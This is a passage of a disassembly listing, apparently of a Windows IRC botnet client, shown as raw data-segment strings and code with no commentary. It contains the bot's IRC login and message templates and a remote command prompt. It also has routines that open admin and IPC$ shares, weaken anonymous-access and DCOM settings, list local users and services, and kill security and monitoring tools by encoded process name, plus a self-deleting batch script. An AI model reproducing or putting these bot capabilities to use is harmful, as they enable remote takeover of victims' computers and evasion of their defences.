XREF: seg002:0043A990o align 4 aKermit db 'kermit',0 ; DATA XREF: seg002:0043A98Co align 4 aManee db 'manee',0 ; DATA XREF: seg002:0043A988o align 4 aTroller db 'troller',0 ; DATA XREF: seg002:0043A984o aLuisa db 'Luisa',0 ; DATA XREF: seg002:0043A980o align 4 aNastysha db 'nastysha',0 ; DATA XREF: seg002:0043A97Co align 4 aRimpy db 'rimpy',0 ; DATA XREF: seg002:0043A978o align 10h aJanno db 'janno',0 ; DATA XREF: seg002:0043A974o align 4 aBunty db 'bunty',0 ; DATA XREF: seg002:0043A970o align 10h aHeval db 'heval',0 ; DATA XREF: seg002:0043A96Co align 4 aCme db 'cme',0 ; DATA XREF: seg002:0043A968o aMarcy db 'marcy',0 ; DATA XREF: seg002:0043A964o align 4 aTalika db 'talika',0 ; DATA XREF: seg002:0043A960o align 4 aShez db 'Shez',0 ; DATA XREF: seg002:0043A95Co align 4 aKen db 'ken',0 ; DATA XREF: seg002:0043A958o aFlexster db 'flexster',0 ; DATA XREF: seg002:0043A954o align 4 aKoko db 'koko',0 ; DATA XREF: seg002:0043A950o align 4 aMale db 'male',0 ; DATA XREF: seg002:0043A94Co align 4 aSwin db 'swin',0 ; DATA XREF: seg002:0043A948o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: seg002:0043A944o aKrizha db 'KRIZHA',0 ; DATA XREF: seg002:0043A940o align 4 aEmilya db 'emilya',0 ; DATA XREF: seg002:0043A93Co align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: seg002:0043A938o align 10h aMaxxguy db 'maxxguy',0 ; DATA XREF: seg002:0043A934o aFarooq db 'farooq',0 ; DATA XREF: seg002:0043A930o align 10h aSmartmir db 'SMARTMIR',0 ; DATA XREF: seg002:0043A92Co align 4 aM_0: ; DATA XREF: seg002:0043A928o ; seg002:0043AC74o unicode 0, <M>,0 word_43B390 dw 4Eh ; DATA XREF: sub_41A044+38r ; seg002:0043A924o align 4 dword_43B394 dd 42h ; DATA XREF: seg002:0043A920o dword_43B398 dd 56h ; DATA XREF: seg002:0043A91Co dword_43B39C dd 43h ; DATA XREF: seg002:0043A918o dword_43B3A0 dd 58h ; DATA XREF: seg002:0043A914o ; seg002:0043ACA8o dword_43B3A4 dd 5Ah ; DATA XREF: seg002:0043A910o dword_43B3A8 dd 4Ch ; DATA XREF: seg002:0043A90Co dword_43B3AC dd 4Bh ; DATA XREF: seg002:0043A908o dword_43B3B0 dd 4Ah ; DATA XREF: seg002:0043A904o dword_43B3B4 dd 48h ; DATA XREF: seg002:0043A900o dword_43B3B8 dd 47h ; DATA XREF: seg002:0043A8FCo dword_43B3BC dd 46h ; DATA XREF: seg002:0043A8F8o ; seg002:0043AC70o dword_43B3C0 dd 44h ; DATA XREF: seg002:0043A8F4o dword_43B3C4 dd 53h ; DATA XREF: seg002:0043A8F0o dword_43B3C8 dd 50h ; DATA XREF: seg002:0043A8E8o dword_43B3CC dd 4Fh ; DATA XREF: seg002:0043A8E4o dword_43B3D0 dd 55h ; DATA XREF: seg002:0043A8DCo word_43B3D4 dw 59h ; DATA XREF: sub_41A36A+38r ; seg002:0043A8D8o align 4 dword_43B3D8 dd 54h ; DATA XREF: seg002:0043A8D4o dword_43B3DC dd 52h ; DATA XREF: seg002:0043A8D0o dword_43B3E0 dd 45h ; DATA XREF: seg002:0043A8CCo dword_43B3E4 dd 57h ; DATA XREF: seg002:0043A8C8o dword_43B3E8 dd 51h ; DATA XREF: seg002:0043A8C4o dword_43B3EC dd 62h ; DATA XREF: seg002:0043A8B8o ; seg002:0043ABACo ... dword_43B3F0 dd 78h ; DATA XREF: seg002:0043A8ACo ; seg002:0043AC04o dword_43B3F4 dd 7Ah ; DATA XREF: seg002:0043A8A8o ; seg002:0043AC0Co ... dword_43B3F8 dd 6Ch ; DATA XREF: seg002:0043A8A4o ; seg002:0043ABD8o dword_43B3FC dd 68h ; DATA XREF: seg002:0043A898o ; seg002:0043ABC4o dword_43B400 dd 67h ; DATA XREF: seg002:0043A894o ; seg002:0043ABC0o ... dword_43B404 dd 79h ; DATA XREF: seg002:0043A874o ; seg002:0043AC08o dword_43B408 dd 77h ; DATA XREF: seg002:0043A864o ; seg002:0043AC00o dword_43B40C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417826+C1o dword_43B418 dd 323334h ; DATA XREF: sub_417826+86o dword_43B41C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417826+65o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_41791B+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417B38+BCo ; sub_417B38+174r ... align 8 dword_43B468 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_417F6F+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43B4B4 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_417F6F+E3o ; --------------------------------------------------------------------------- loc_43B4D0: ; DATA XREF: sub_417F6F+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_43B4E4 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_417F6F+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418330+72o align 4 aMirc_0 db 'mIRC',0 ; DATA XREF: seg000:004183FAo align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: seg000:00418493o align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41851B+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41853D+140o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41853D+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41853D+48o align 10h unk_43B5A0 db 2Dh ; - ; DATA XREF: sub_4186C5+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 10h unk_43B5D0 db 2Dh ; - ; DATA XREF: sub_4186C5+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_43B5F8 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4186C5+5Co dd 65726165h, 64h, 0 off_43B618 dd offset aAdd ; DATA XREF: sub_4188AF+6Dr ; sub_418C96+50r ... ; "Add" off_43B61C dd offset aAdded ; DATA XREF: sub_4188AF+2Dr ; sub_418C96+82r ... ; "Added" dword_43B620 dd 0 ; DATA XREF: sub_4188AF+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43B68Ch, 43B684h, 2, 43B678h, 43B66Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:0043B64Co aStop_0 db 'Stop',0 ; DATA XREF: seg002:0043B648o align 4 aStarted db 'Started',0 ; DATA XREF: seg002:0043B640o aStart_0 db 'Start',0 ; DATA XREF: seg002:0043B63Co align 4 aListed db 'Listed',0 ; DATA XREF: seg002:0043B634o align 4 aList_1 db 'List',0 ; DATA XREF: seg002:0043B630o align 4 aDeleted db 'Deleted',0 ; DATA XREF: seg002:0043B628o aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0043B624o align 4 aAdded db 'Added',0 ; DATA XREF: seg002:off_43B61Co align 4 aAdd db 'Add',0 ; DATA XREF: seg002:off_43B618o unk_43B6E0 db 2Dh ; - ; DATA XREF: sub_4188AF+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_43B704 db 2Dh ; - ; DATA XREF: sub_4188AF+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_43B730 db 2Dh ; - ; DATA XREF: sub_4188AF+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4189D8+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4189D8:loc_418AF0o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4189D8:loc_418AE9o align 8 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4189D8:loc_418AE2o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4189D8:loc_418ADBo align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4189D8:loc_418AD4o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4189D8:loc_418ACDo align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4189D8:loc_418AC6o align 8 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4189D8:loc_418ABFo align 10h aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4189D8:loc_418AB8o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4189D8:loc_418AB1o align 10h aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4189D8:loc_418A86o align 10h aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4189D8:loc_418A7Fo db ' the service.',0 align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4189D8:loc_418A78o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4189D8:loc_418A71o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4189D8+8Fo align 8 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4189D8:loc_418A46o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4189D8:loc_418A3Co aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4189D8:loc_418A32o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4189D8:loc_418A28o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4189D8:loc_418A1Eo align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4189D8+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418B56+EEo aStopped db ' Stopped',0 ; DATA XREF: sub_418B56:loc_418C25o aStarting db ' Starting',0 ; DATA XREF: sub_418B56:loc_418C1Eo aStoping db ' Stoping',0 ; DATA XREF: sub_418B56:loc_418C17o aRunning db ' Running',0 ; DATA XREF: sub_418B56:loc_418C10o aContinuing db ' Continuing',0 ; DATA XREF: sub_418B56:loc_418C09o aPausing db ' Pausing',0 ; DATA XREF: sub_418B56:loc_418C02o aPaused_0 db ' Paused',0 ; DATA XREF: sub_418B56:loc_418BFBo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418B56+9Eo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418B56+25o align 4 unk_43BC94 db 2Dh ; - ; DATA XREF: sub_418C96+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_43BCB8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418C96+89o dd 73252720h, 27h unk_43BCD4 db 2Dh ; - ; DATA XREF: sub_418C96+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418E8B+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_418E8B+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418E8B+B5o unk_43BD20 db 2Dh ; - ; DATA XREF: sub_418E8B+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418E8B+26o align 10h unk_43BD80 db 2Dh ; - ; DATA XREF: sub_418FAC+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_43BDA8 db 2Dh ; - ; DATA XREF: sub_418FAC+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_43BDD8 db 2Dh ; - ; DATA XREF: sub_418FAC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_43BDF8 db 2Dh ; - ; DATA XREF: sub_4190F2+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4190F2+36Ao align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4190F2+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4190F2+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4190F2+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4190F2+2C4o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4190F2+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4190F2+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4190F2+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4190F2+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4190F2+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4190F2+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4190F2+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4190F2+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4190F2+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4190F2+125o aGuest db 'Guest',0 ; DATA XREF: sub_4190F2:loc_41920Bo align 4 aUser_1 db 'User',0 ; DATA XREF: sub_4190F2:loc_419204o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_4190F2:loc_4191FDo align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4190F2+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4190F2+ACo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4190F2+81o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_4190F2+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4194C0+145o align 4 unk_43BFB4 db 2Dh ; - ; DATA XREF: sub_4194C0:loc_4195ADo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_6 db ' %S',0 ; DATA XREF: sub_4194C0+BAo align 4 unk_43BFE8 db 2Dh ; - ; DATA XREF: sub_4194C0+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4194C0+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419636:loc_419753o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419636:loc_41974Co align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419636:loc_419745o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419636:loc_41973Eo align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419636:loc_419737o align 8 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_419636:loc_41971Ao db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419636:loc_419713o align 10h aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419636:loc_41970Co align 8 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_419636+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_419636:loc_4196E1o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419636:loc_4196DAo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_419636:loc_4196D3o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419636:loc_4196C9o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419636+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419636:loc_4196A3o align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419636:loc_419699o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419636:loc_41968Fo align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_419636:loc_419685o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419636:loc_41967Bo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419636+3Bo align 4 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h, 234032Dh, 274656Eh, 6D202D03h, 61737365h, 73206567h dd 20746E65h, 63637573h, 66737365h, 796C6C75h, 2 dup(0) dd 7530h, 0 off_43C358 dd offset dword_43C4F8 ; DATA XREF: seg000:loc_419959r dd offset dword_43C4E8 dd offset dword_43C4DC ; --------------------------------------------------------------------------- rol ah, 1 inc ebx add ah, al les eax, [ebx+0] mov eax, 0A80043C4h les eax, [ebx+0] cwde les eax, [ebx+0] add ah, 43h add [esp+eax*8+43h], ch add [eax-3Ch], ah inc ebx add [esp+eax*8+43h], dl add [eax-3Ch], cl inc ebx add [esp+eax*8], bh inc ebx add [eax], dh les eax, [ebx+0] and al, 0C4h inc ebx add [esp+eax*8], dl inc ebx add [eax], cl les eax, [ebx+0] cld retn ; --------------------------------------------------------------------------- inc ebx add al, dh retn ; --------------------------------------------------------------------------- inc ebx add ah, ah retn ; --------------------------------------------------------------------------- inc ebx add ah, dl retn ; --------------------------------------------------------------------------- inc ebx add al, cl retn ; --------------------------------------------------------------------------- dw 43h dd offset dword_43C3B8 dword_43C3B8 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: seg002:0043C3B4o dd 6E757269h, 78652E34h, 65h, 75643364h, 74616470h, 78652E65h dd 65h, 65746172h, 6578652Eh, 0 dd 74617373h, 78652E65h, 65h, 736E6977h, 652E7379h, 6578h dd 756E6977h, 652E6470h, 6578h, 4D737953h, 50586E6Fh, 6578652Eh dd 0 dd 61656262h, 2E656C67h, 657865h, 696E6550h, 2E323373h dd 657865h, 6B656574h, 2E736469h, 657865h, 4C42534Dh, 2E545341h dd 657865h, 7663736Dh, 2E323362h, 657865h, 69737973h, 2E6F666Eh dd 657865h, 646E6150h, 45564161h, 6E69676Eh, 78652E65h dd 65h, 636E6977h, 32336766h, 6578652Eh, 6B736174h, 2E6E6F6Dh dd 657865h, 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 6176616Eh dd 32337770h, 6578652Eh, 0 dd 7776616Eh, 652E3233h, 6578h, 7270617Ah, 78652E6Fh, 65h dd 6C62736Dh, 2E747361h, 657865h dword_43C4DC dd 7374656Eh, 2E746174h, 657865h ; DATA XREF: seg002:0043C360o dword_43C4E8 dd 6F63736Dh, 6769666Eh, 6578652Eh, 0 ; DATA XREF: seg002:0043C35Co dword_43C4F8 dd 65676572h, 2E746964h, 657865h ; DATA XREF: seg002:off_43C358o dword_43C504 dd 20732520h, 29642528h, 0 ; DATA XREF: seg000:00419A14o unk_43C510 db 2Dh ; - ; DATA XREF: sub_419AB6:loc_419B43o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43C534 db 2Dh ; - ; DATA XREF: sub_419AB6+86o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_43C558 db 2Dh ; - ; DATA XREF: sub_419AB6+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:00419C86o db 2Dh ; - db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 db 2Dh ; - db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h db 2Dh ; - db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h db 2Dh ; - db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 dword_43C668 dd 1D4C0h ; DATA XREF: seg000:0041A696r off_43C66C dd offset dword_43C6A4 ; DATA XREF: sub_41A044:loc_41A1F9r ; sub_41A044+1C3r ... dword_43C670 dd 0 ; DATA XREF: sub_41A36A:loc_41A4EBr dd offset dword_43C69C dd 0 dd offset dword_43C698 dd offset dword_43C694 dd offset dword_43C690 dd offset dword_43C68C dword_43C68C dd 5C3A44h ; DATA XREF: seg002:0043C688o dword_43C690 dd 2444h ; DATA XREF: seg002:0043C684o dword_43C694 dd 5C3A43h ; DATA XREF: seg002:0043C680o dword_43C698 dd 2443h ; DATA XREF: seg002:0043C67Co dword_43C69C dd 494D4441h, 244Eh ; DATA XREF: seg002:0043C674o dword_43C6A4 dd 24435049h, 0 ; DATA XREF: seg002:off_43C66Co dword_43C6AC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+2E7o ; sub_41A36A+2DDo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43C6DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+2D1o aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_43C704 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A2AEo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 10h dword_43C730 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+263o aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_43C754 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A21Eo aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 10h dword_43C780 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+1D3o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_43C7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A176o ; sub_41A36A:loc_41A498o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43C7D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A16Fo aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43C810 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A157o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_43C844 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+10Co aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 10h aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A044+EDo ; sub_41A36A+EDo align 4 dword_43C894 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+91o ; sub_41A36A+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43C8C4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A044:loc_41A0B7o dd 62617369h, 2E64656Ch, 0 dword_43C8E4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+6Co aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A044+54o ; sub_41A36A+54o align 4 dword_43C914 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A+2C5o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A36A+22Fo align 10h aC_1 db '%c$',0 ; DATA XREF: sub_41A36A+21Eo dword_43C944 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A:loc_41A517o ; sub_41A36A:loc_41A5E2o aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43C96C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A+1A6o ; sub_41A36A+271o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43C98C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A:loc_41A491o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43C9C8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A:loc_41A479o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 10h dword_43CA00 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A+108o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 10h dword_43CA40 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A36A:loc_41A3DDo dd 6C62616Eh, 2E6465h dword_43CA5C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A+6Co aEnableDcomFail db '- Enable DCOM failed.',0 align 10h aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A6BE+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 8 dword_43CAB8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A89B+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A89B+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A89B+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A89B+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A89B+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A89B+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A89B+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A89B+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A89B+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A89B+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A89B+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A89B+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A89B+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A89B+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A89B+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A89B+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A89B+5Bo align 4 